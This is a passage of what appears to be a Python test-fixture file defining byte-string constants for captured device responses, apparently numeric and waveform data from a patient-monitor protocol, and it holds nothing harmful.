b"\x09\x21\x00\x02\x88\x46\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f" \
b"\x00\x0c\x00\x00\x20\x00\x00\x01\x24\x00\x00\x00\x00\x80\x88\x48" \
b"\x00\x03\x00\x1e\x09\x21\x00\x02\x88\x48\x09\x2f\x00\x04\x00\x01" \
b"\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x24\x00\x00\x00" \
b"\x00\x80"
rsp_nu_10_no_4 = \
b"\xe1\x00\x00\x02\x00\x02" \
b"\x00\x2a\x00\x01\x00\x07\x00\x24\x00\x21\x00\x00\x00\x00\xf1\x3b" \
b"\x00\x1a\x00\x01\x00\x00\x0e\x80\xcf\x00\xff\xff\xff\xff\xff\xff" \
b"\xff\xff\x00\x01\x00\x06\x00\x00\x00\x00\x00\x00"
rsp_wave_10_no_1 = \
b"\xe1\x00\x00\x02\x00\x02" \
b"\x04\x46\x00\x04\x00\x07\x04\x40\x00\x21\x00\x00\x00\x00\xf1\x3b" \
b"\x04\x36\x00\x03\x00\x00\x0e\x80\xa0\x00\xff\xff\xff\xff\xff\xff" \
b"\xff\xff\x00\x01\x00\x09\x00\x00\x00\x01\x04\x1c\x00\x00\x00\x04" \
b"\x04\x16\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x02\x04\x00" \
b"\x01\x00\x1f\xd0\x1f\xd1\x1f\xd3\x1f\xd4\x1f\xd5\x1f\xd7\x1f\xd8" \
b"\x1f\xd9\x1f\xdb\x1f\xdc\x1f\xde\x1f\xdf\x1f\xe0\x1f\xe1\x1f\xe3" \
b"\x1f\xe4\x1f\xe5\x1f\xe7\x1f\xe8\x1f\xe9\x1f\xeb\x1f\xec\x1f\xed" \
b"\x1f\xee\x1f\xf0\x1f\xf1\x1f\xf2\x1f\xf3\x1f\xf4\x1f\xf5\x1f\xf7" \
b"\x1f\xf8\x1f\xfa\x1f\xfb\x1f\xfc\x1f\xfc\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x01\x04\x00" \
b"\x01\x00\x1f\xf6\x1f\xf7\x1f\xf5\x1f\xf6\x1f\xf7\x1f\xf7\x1f\xf8" \
b"\x1f\xf9\x1f\xf7\x1f\xf8\x1f\xf8\x1f\xf9\x1f\xfa\x1f\xfb\x1f\xf9" \
b"\x1f\xfa\x1f\xfb\x1f\xfb\x1f\xfc\x1f\xfb\x1f\xfb\x1f\xfc\x1f\xfd" \
b"\x1f\xfe\x1f\xfe\x1f\xfd\x1f\xfe\x1f\xff\x20\x00\x1f\xff\x1f\xff" \
b"\x20\x00\x20\x00\x1f\xff\x1f\xfe\x20\x00\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x3d\x04\x00" \
b"\x01\x00\x1f\xd9\x1f\xd9\x1f\xdd\x1f\xdd\x1f\xdd\x1f\xdf\x1f\xdf" \
b"\x1f\xdf\x1f\xe3\x1f\xe3\x1f\xe5\x1f\xe5\x1f\xe5\x1f\xe5\x1f\xe9" \
b"\x1f\xe9\x1f\xe9\x1f\xeb\x1f\xeb\x1f\xed\x1f\xef\x1f\xef\x1f\xef" \
b"\x1f\xef\x1f\xf1\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf5\x1f\xf7" \
b"\x1f\xf7\x1f\xf9\x1f\xfb\x1f\xfd\x1f\xfb\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x07\x8e\x00\x0d\x00\xe0\x09\x21\x00\x02\x07\x8e\x09\x2f" \
b"\x00\x04\x00\x01\x00\x09\x09\x3f\x00\x0c\x00\x00\x08\x00\x00\x01" \
b"\x42\x80\x00\x00\x00\x00\x09\x6d\x00\x06\x00\x20\x10\x0c\x80\x00" \
b"\x09\x8d\x00\x04\x00\x00\x00\x40\x09\x24\x00\x04\x00\x02\x4b\xb4" \
b"\x09\x27\x00\x10\x00\x0e\x00\x50\x00\x6c\x00\x65\x00\x74\x00\x68" \
b"\x00\x20\x00\x00\x09\x96\x00\x02\x02\x00\x09\x11\x00\x02\x00\x06" \
b"\x09\x40\x00\x02\x00\x00\x09\x6f\x00\x0c\x00\x7f\xff\xff\x00\x7f" \
b"\xff\xff\x00\x00\x0f\xff\x09\x1a\x00\x24\x00\x04\x00\x20\x00\x7f" \
b"\xff\xff\x04\x00\x00\x00\x00\x7f\xff\xff\x06\x00\x00\x01\x00\x7f" \
b"\xff\xff\x0a\x00\x00\x01\x00\x7f\xff\xff\x0c\x00\x00\x00\x09\x6e" \
b"\x00\x46\x4b\xb4\x04\x00\x00\x40\x06\x0e\x06\x05\x05\xfb\x05\xef" \
b"\x05\xe0\x05\xd0\x05\xbe\x05\xab\x05\x95\x05\x7f\x05\x66\x05\x4d" \
b"\x05\x33\x05\x18\x04\xfc\x04\xe1\x04\xc6\x04\xab\x04\x91\x04\x78" \
b"\x04\x60\x04\x4b\x04\x37\x04\x26\x04\x18\x04\x0d\x04\x05\x04\x01" \
b"\x04\x00\x04\x04\x04\x0b\x04\x18"
rsp_wave_10_no_2 = \
b"\xe1\x00\x00\x02\x00\x02" \
b"\x03\xb0\x00\x04\x00\x07\x03\xaa\x00\x21\x00\x00\x00\x00\xf1\x3b" \
b"\x03\xa0\x00\x03\x00\x01\x0e\x80\xa8\x00\xff\xff\xff\xff\xff\xff" \
b"\xff\xff\x00\x01\x00\x09\x00\x00\x00\x01\x03\x86\x00\x00\x00\x04" \
b"\x03\x80\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x02\x04\x00" \
b"\x01\x00\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x01\x04\x00" \
b"\x01\x00\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x3d\x04\x00" \
b"\x01\x00\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x07\x8e\x00\x01\x00\x4a\x09\x6e\x00\x46\x4b\xb4\x04\x00" \
b"\x00\x40\x04\x28\x04\x3e\x04\x57\x04\x76\x04\x99\x04\xc0\x04\xec" \
b"\x05\x1d\x05\x51\x05\x89\x05\xc5\x06\x05\x06\x47\x06\x8c\x06\xd3" \
b"\x07\x1c\x07\x67\x07\xb3\x07\xff\x08\x4c\x08\x99\x08\xe4\x09\x2f" \
b"\x09\x78\x09\xbf\x0a\x03\x0a\x44\x0a\x83\x0a\xbd\x0a\xf3\x0b\x25" \
b"\x0b\x53"
rsp_wave_10_no_3 = \
b"\xe1\x00\x00\x02\x00\x02" \
b"\x03\xb0\x00\x04\x00\x07\x03\xaa\x00\x21\x00\x00\x00\x00\xf1\x3b" \
b"\x03\xa0\x00\x03\x00\x02\x0e\x80\xb0\x00\xff\xff\xff\xff\xff\xff" \
b"\xff\xff\x00\x01\x00\x09\x00\x00\x00\x01\x03\x86\x00\x00\x00\x04" \
b"\x03\x80\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x02\x04\x00" \
b"\x01\x00\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\xa1\x94\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xff\x20\x04\x20\x0c" \
b"\x20\x14\x20\x1c\x20\x26\x20\x2f\x20\x38\x20\x42\x20\x4b\x20\x55" \
b"\x20\x5e\x20\x68\x20\x71\x20\x7a\x20\x83\x20\x8d\x20\x96\x20\x9f" \
b"\x20\xa8\x20\xad\x20\xab\x20\xa6\x20\x9e\x20\x95\x20\x8c\x20\x82" \
b"\x20\x78\x20\x6e\x20\x63\x20\x59\x20\x4f\x20\x45\x20\x3a\x20\x30" \
b"\x20\x26\x20\x1c\x20\x12\x20\x08\x1f\xff\x1f\xf7\x1f\xf3\x1f\xf0" \
b"\x1f\xee\x1f\xed\x1f\xed\x1f\xec\x1f\xec\x1f\xed\x1f\xed\x1f\xed" \
b"\x1f\xed\x1f\xed\x1f\xed\x1f\xed\x1f\xed\x1f\xed\x1f\xee\x1f\xee" \
b"\x1f\xee\x1f\xee\x1f\xee\x1f\xee\x1f\xee\x1f\xee\x1f\xef\x1f\xef" \
b"\x1f\xef\x1f\xef\x1f\xef\x1f\xef\x1f\xef\x1f\xef\x1f\xf0\x1f\xf0" \
b"\x1f\xf0\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x01\x04\x00" \
b"\x01\x00\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\xa0\x84\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x20\x00\x20\x02" \
b"\x20\x04\x20\x08\x20\x08\x20\x0b\x20\x10\x20\x12\x20\x15\x20\x17" \
b"\x20\x1a\x20\x1c\x20\x1f\x20\x22\x20\x25\x20\x27\x20\x2a\x20\x2d" \
b"\x20\x30\x20\x33\x20\x33\x20\x32\x20\x30\x20\x2f\x20\x2a\x20\x28" \
b"\x20\x24\x20\x22\x20\x1f\x20\x1d\x20\x19\x20\x17\x20\x14\x20\x12" \
b"\x20\x0e\x20\x0c\x20\x0a\x20\x06\x20\x03\x20\x01\x1f\xff\x1f\xfe" \
b"\x1f\xfe\x1f\xfd\x1f\xfd\x1f\xfc\x1f\xfc\x1f\xfb\x1f\xfb\x1f\xfb" \
b"\x1f\xfb\x1f\xfb\x1f\xfb\x1f\xfb\x1f\xfb\x1f\xfd\x1f\xfc\x1f\xfc" \
b"\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfb\x1f\xfb" \
b"\x1f\xfb\x1f\xfb\x1f\xfb\x1f\xfb\x1f\xfb\x1f\xfb\x1f\xfc\x1f\xfc" \
b"\x1f\xfc\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x3d\x04\x00" \
b"\x01\x00\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\xa1\x04\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xff\x20\x03\x20\x09" \
b"\x20\x0f\x20\x13\x20\x1d\x20\x23\x20\x27\x20\x2f\x20\x35\x20\x3d" \
b"\x20\x43\x20\x4b\x20\x51\x20\x57\x20\x5d\x20\x65\x20\x6b\x20\x71" \
b"\x20\x77\x20\x79\x20\x77\x20\x73\x20\x6d\x20\x65\x20\x61\x20\x59" \
b"\x20\x53\x20\x4b\x20\x43\x20\x3b\x20\x35\x20\x2d\x20\x25\x20\x1d" \
b"\x20\x17\x20\x0f\x20\x07\x20\x01\x1f\xfb\x1f\xf5\x1f\xf3\x1f\xf1" \
b"\x1f\xef\x1f\xef\x1f\xef\x1f\xef\x1f\xef\x1f\xf1\x1f\xf1\x1f\xf1" \
b"\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xef\x1f\xf1\x1f\xf1" \
b"\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x07\x8e\x00\x01\x00\x4a\x09\x6e\x00\x46\x4b\xb4\x04\x00" \
b"\x00\x40\x0b\x7b\x0b\x9f\x0b\xbd\x0b\xd5\x0b\xe8\x0b\xf6\x0b\xfe" \
b"\x0c\x00\x0b\xfc\x0b\xf3\x0b\xe5\x0b\xd2\x0b\xba\x0b\x9d\x0b\x7b" \
b"\x0b\x56\x0b\x2c\x0b\x00\x0a\xd0\x0a\x9d\x0a\x68\x0a\x31\x09\xf9" \
b"\x09\xbf\x09\x85\x09\x4b\x09\x10\x08\xd7\x08\x9e\x08\x66\x08\x30" \
b"\x07\xfb"
rsp_wave_10_no_4 = \
b"\xe1\x00\x00\x02\x00\x02" \
b"\x03\xb0\x00\x04\x00\x07\x03\xaa\x00\x21\x00\x00\x00\x00\xf1\x3b" \
b"\x03\xa0\x00\x03\x00\x03\x0e\x80\xb8\x00\xff\xff\xff\xff\xff\xff" \
b"\xff\xff\x00\x01\x00\x09\x00\x00\x00\x01\x03\x86\x00\x00\x00\x04" \
b"\x03\x80\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x02\x04\x00" \
b"\x01\x00\x1f\xf0\x1f\xf0\x1f\xf0\x1f\xf0\x1f\xf0\x1f\xf0\x1f\xf0" \
b"\x1f\xf0\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1" \
b"\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1" \
b"\x1f\xf1\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf2" \
b"\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf2" \
b"\x1f\xf2\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf4\x1f\xf4\x1f\xf4\x1f\xf4\x1f\xf4\x1f\xf4\x1f\xf4" \
b"\x1f\xf4\x1f\xf4\x1f\xf4\x1f\xf4\x1f\xf4\x1f\xf4\x1f\xf4\x1f\xf4" \
b"\x1f\xf4\x1f\xf5\x1f\xf5\x1f\xf5\x1f\xf4\x1f\xf3\x1f\xf3\x1f\xf2" \
b"\x1f\xf1\x1f\xf0\x1f\xf0\x1f\xef\x1f\xed\x1f\xed\x1f\xec\x1f\xeb" \
b"\x1f\xea\x1f\xe9\x1f\xe8\x1f\xe7\x1f\xe6\x1f\xe5\x1f\xe4\x1f\xe3" \
b"\x1f\xe2\x1f\xe1\x1f\xe0\x1f\xdf\x1f\xde\x1f\xdd\x1f\xdc\x1f\xdb" \
b"\x1f\xda\x1f\xd9\x1f\xd8\x1f\xd8\x1f\xd7\x1f\xd6\x1f\xd5\x1f\xd4" \
b"\x1f\xd3\x1f\xd2\x1f\xd1\x1f\xd0\x1f\xd0\x1f\xd0\x1f\xd1\x1f\xd3" \
b"\x1f\xd4\x1f\xd5\x1f\xd7\x1f\xd8\x1f\xd9\x1f\xdb\x1f\xdc\x1f\xde" \
b"\x1f\xdf\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x01\x04\x00" \
b"\x01\x00\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfc" \
b"\x1f\xfc\x1f\xfb\x1f\xfb\x1f\xfb\x1f\xfb\x1f\xfb\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfe\x1f\xfe" \
b"\x1f\xfe\x1f\xfe\x1f\xfe\x1f\xfe\x1f\xfe\x1f\xfe\x1f\xfe\x1f\xfe" \
b"\x1f\xfe\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xfe\x1f\xfe\x1f\xfe\x1f\xfe\x1f\xfe\x20\x00\x20\x00" \
b"\x20\x00\x20\x00\x20\x00\x20\x00\x20\x00\x20\x00\x20\x00\x20\x00" \
b"\x20\x00\x1f\xff\x1f\xff\x1f\xff\x20\x00\x1f\xff\x1f\xff\x1f\xfe" \
b"\x1f\xfd\x1f\xfc\x1f\xfc\x1f\xfb\x1f\xfb\x1f\xfb\x1f\xfa\x1f\xf9" \
b"\x1f\xfa\x1f\xf9\x1f\xfa\x1f\xf9\x1f\xf8\x1f\xf7\x1f\xf8\x1f\xf7" \
b"\x1f\xf8\x1f\xf7\x1f\xf8\x1f\xf7\x1f\xf6\x1f\xf7\x1f\xf6\x1f\xf7" \
b"\x1f\xf6\x1f\xf5\x1f\xf6\x1f\xf4\x1f\xf5\x1f\xf4\x1f\xf5\x1f\xf4" \
b"\x1f\xf5\x1f\xf4\x1f\xf5\x1f\xf6\x1f\xf6\x1f\xf6\x1f\xf7\x1f\xf5" \
b"\x1f\xf6\x1f\xf7\x1f\xf7\x1f\xf8\x1f\xf9\x1f\xf7\x1f\xf8\x1f\xf8" \
b"\x1f\xf9\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x3d\x04\x00" \
b"\x01\x00\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
